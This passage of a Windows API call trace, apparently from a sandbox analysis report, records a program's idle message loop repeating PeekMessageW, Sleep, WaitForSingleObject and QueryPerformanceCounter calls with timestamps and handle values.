(in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0113.513] Sleep (dwMilliseconds=0x64) [0113.630] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0113.630] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=651868263) returned 1 [0113.630] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=651868447) returned 1 [0113.631] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0113.631] Sleep (dwMilliseconds=0x64) [0113.730] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0113.730] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=652210543) returned 1 [0113.730] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=652210717) returned 1 [0113.730] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0113.731] Sleep (dwMilliseconds=0x64) [0113.839] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0113.839] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=652583666) returned 1 [0113.839] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=652583840) returned 1 [0113.840] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0113.840] Sleep (dwMilliseconds=0x64) [0113.948] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0113.948] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=652956950) returned 1 [0113.948] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=652957134) returned 1 [0113.949] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0113.949] Sleep (dwMilliseconds=0x64) [0114.058] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0114.058] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=653331379) returned 1 [0114.058] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=653331545) returned 1 [0114.058] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0114.059] Sleep (dwMilliseconds=0x64) [0114.168] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0114.168] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=653709063) returned 1 [0114.168] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=653709229) returned 1 [0114.169] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0114.169] Sleep (dwMilliseconds=0x64) [0114.276] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0114.276] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=654077754) returned 1 [0114.276] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=654077938) returned 1 [0114.277] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0114.277] Sleep (dwMilliseconds=0x64) [0114.402] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0114.402] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=654507015) returned 1 [0114.402] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=654507181) returned 1 [0114.402] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0114.403] Sleep (dwMilliseconds=0x64) [0114.510] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0114.510] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=654877384) returned 1 [0114.510] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=654877549) returned 1 [0114.511] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0114.511] Sleep (dwMilliseconds=0x64) [0114.620] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0114.620] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=655253899) returned 1 [0114.620] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=655254081) returned 1 [0114.621] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0114.621] Sleep (dwMilliseconds=0x64) [0114.744] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0114.744] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=655677447) returned 1 [0114.744] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=655677617) returned 1 [0114.745] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0114.746] Sleep (dwMilliseconds=0x64) [0114.853] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0114.853] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=656050316) returned 1 [0114.853] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=656050473) returned 1 [0114.854] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0114.854] Sleep (dwMilliseconds=0x64) [0114.962] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0114.963] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=656423764) returned 1 [0114.963] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=656423948) returned 1 [0114.963] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0114.964] Sleep (dwMilliseconds=0x64) [0115.072] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0115.072] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=656797458) returned 1 [0115.072] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=656797643) returned 1 [0115.072] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0115.073] Sleep (dwMilliseconds=0x64) [0115.181] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0115.181] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=657170238) returned 1 [0115.181] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=657170415) returned 1 [0115.181] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0115.182] Sleep (dwMilliseconds=0x64) [0115.289] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0115.290] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=657541464) returned 1 [0115.290] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=657541649) returned 1 [0115.290] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0115.291] Sleep (dwMilliseconds=0x64) [0115.412] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0115.412] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=657960647) returned 1 [0115.412] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=657960794) returned 1 [0115.413] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0115.413] Sleep (dwMilliseconds=0x64) [0115.508] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0115.509] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=658289965) returned 1 [0115.509] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=658290119) returned 1 [0115.509] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0115.509] Sleep (dwMilliseconds=0x64) [0115.623] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0115.625] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=658691977) returned 1 [0115.627] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=658696832) returned 1 [0115.630] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0115.634] Sleep (dwMilliseconds=0x64) [0115.761] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0115.761] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=659153629) returned 1 [0115.761] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=659153812) returned 1 [0115.763] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0115.763] Sleep (dwMilliseconds=0x64) [0115.870] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0115.871] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=659527293) returned 1 [0115.871] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=659527448) returned 1 [0115.871] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0115.872] Sleep (dwMilliseconds=0x64) [0115.976] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0115.977] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=659889661) returned 1 [0115.977] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=659889840) returned 1 [0115.977] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0115.978] Sleep (dwMilliseconds=0x64) [0116.228] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0116.228] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=660748410) returned 1 [0116.228] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=660748497) returned 1 [0116.229] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0116.229] Sleep (dwMilliseconds=0x64) [0116.335] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0116.335] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=661113602) returned 1 [0116.335] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=661113750) returned 1 [0116.335] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0116.336] Sleep (dwMilliseconds=0x64) [0116.444] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0116.444] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=661487439) returned 1 [0116.444] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=661487605) returned 1 [0116.445] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0116.445] Sleep (dwMilliseconds=0x64) [0116.553] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0116.554] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=661861685) returned 1 [0116.554] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=661861840) returned 1 [0116.554] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0116.555] Sleep (dwMilliseconds=0x64) [0116.662] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0116.662] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=662233581) returned 1 [0116.662] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=662233753) returned 1 [0116.663] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0116.663] Sleep (dwMilliseconds=0x64) [0116.787] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0116.787] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=662660023) returned 1 [0116.787] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=662660181) returned 1 [0116.789] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0116.789] Sleep (dwMilliseconds=0x64) [0116.897] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0116.897] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=663036070) returned 1 [0116.897] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=663036228) returned 1 [0116.898] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0116.898] Sleep (dwMilliseconds=0x64) [0117.006] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0117.006] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=663408688) returned 1 [0117.006] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=663408866) returned 1 [0117.007] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0117.007] Sleep (dwMilliseconds=0x64) [0117.116] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0117.116] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=663784966) returned 1 [0117.116] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=663785141) returned 1 [0117.117] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0117.117] Sleep (dwMilliseconds=0x64) [0117.225] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0117.225] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=664156456) returned 1 [0117.225] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=664156611) returned 1 [0117.225] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0117.226] Sleep (dwMilliseconds=0x64) [0117.334] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0117.334] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=664528747) returned 1 [0117.334] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=664528922) returned 1 [0117.334] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0117.335] Sleep (dwMilliseconds=0x64) [0117.443] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0117.443] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=664901450) returned 1 [0117.443] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=664901614) returned 1 [0117.443] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0117.444] Sleep (dwMilliseconds=0x64) [0117.552] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0117.552] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=665274776) returned 1 [0117.552] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=665274950) returned 1 [0117.553] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0117.553] Sleep (dwMilliseconds=0x64) [0117.661] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0117.661] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=665648215) returned 1 [0117.661] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=665648400) returned 1 [0117.662] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0117.662] Sleep (dwMilliseconds=0x64) [0117.771] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0117.771] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=666023210) returned 1 [0117.771] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=666023390) returned 1 [0117.772] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0117.773] Sleep (dwMilliseconds=0x64) [0117.880] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0117.880] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=666394761) returned 1 [0117.880] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=666394928) returned 1 [0117.880] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0117.881] Sleep (dwMilliseconds=0x64) [0117.989] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0117.989] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=666767930) returned 1 [0117.989] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=666768105) returned 1 [0117.990] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0117.990] Sleep (dwMilliseconds=0x64) [0118.099] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0118.099] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=667142727) returned 1 [0118.099] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=667142900) returned 1 [0118.099] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0118.100] Sleep (dwMilliseconds=0x64) [0118.207] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0118.207] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=667514753) returned 1 [0118.207] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=667514919) returned 1 [0118.208] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0118.208] Sleep (dwMilliseconds=0x64) [0118.317] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0118.317] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=667889061) returned 1 [0118.317] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=667889235) returned 1 [0118.318] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0118.318] Sleep (dwMilliseconds=0x64) [0118.439] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0118.439] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=668305257) returned 1 [0118.439] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=668305420) returned 1 [0118.439] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0118.440] Sleep (dwMilliseconds=0x64) [0118.534] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0118.534] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=668631922) returned 1 [0118.534] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=668632086) returned 1 [0118.535] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0118.535] Sleep (dwMilliseconds=0x64) [0118.644] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0118.644] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=669007109) returned 1 [0118.644] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=669007303) returned 1 [0118.645] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0118.645] Sleep (dwMilliseconds=0x64) [0118.776] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0118.776] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=669457227) returned 1 [0118.776] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=669457407) returned 1 [0118.777] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0118.778] Sleep (dwMilliseconds=0x64) [0118.877] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0118.878] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=669805010) returned 1 [0118.878] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=669805180) returned 1 [0118.878] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0118.879] Sleep (dwMilliseconds=0x64) [0118.987] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0118.987] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=670178208) returned 1 [0118.987] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=670178387) returned 1 [0118.987] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0118.988] Sleep (dwMilliseconds=0x64) [0119.096] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0119.096] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=670553205) returned 1 [0119.096] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=670553380) returned 1 [0119.097] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0119.097] Sleep (dwMilliseconds=0x64) [0119.340] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0119.340] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=671384829) returned 1 [0119.340] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=671384915) returned 1 [0119.341] 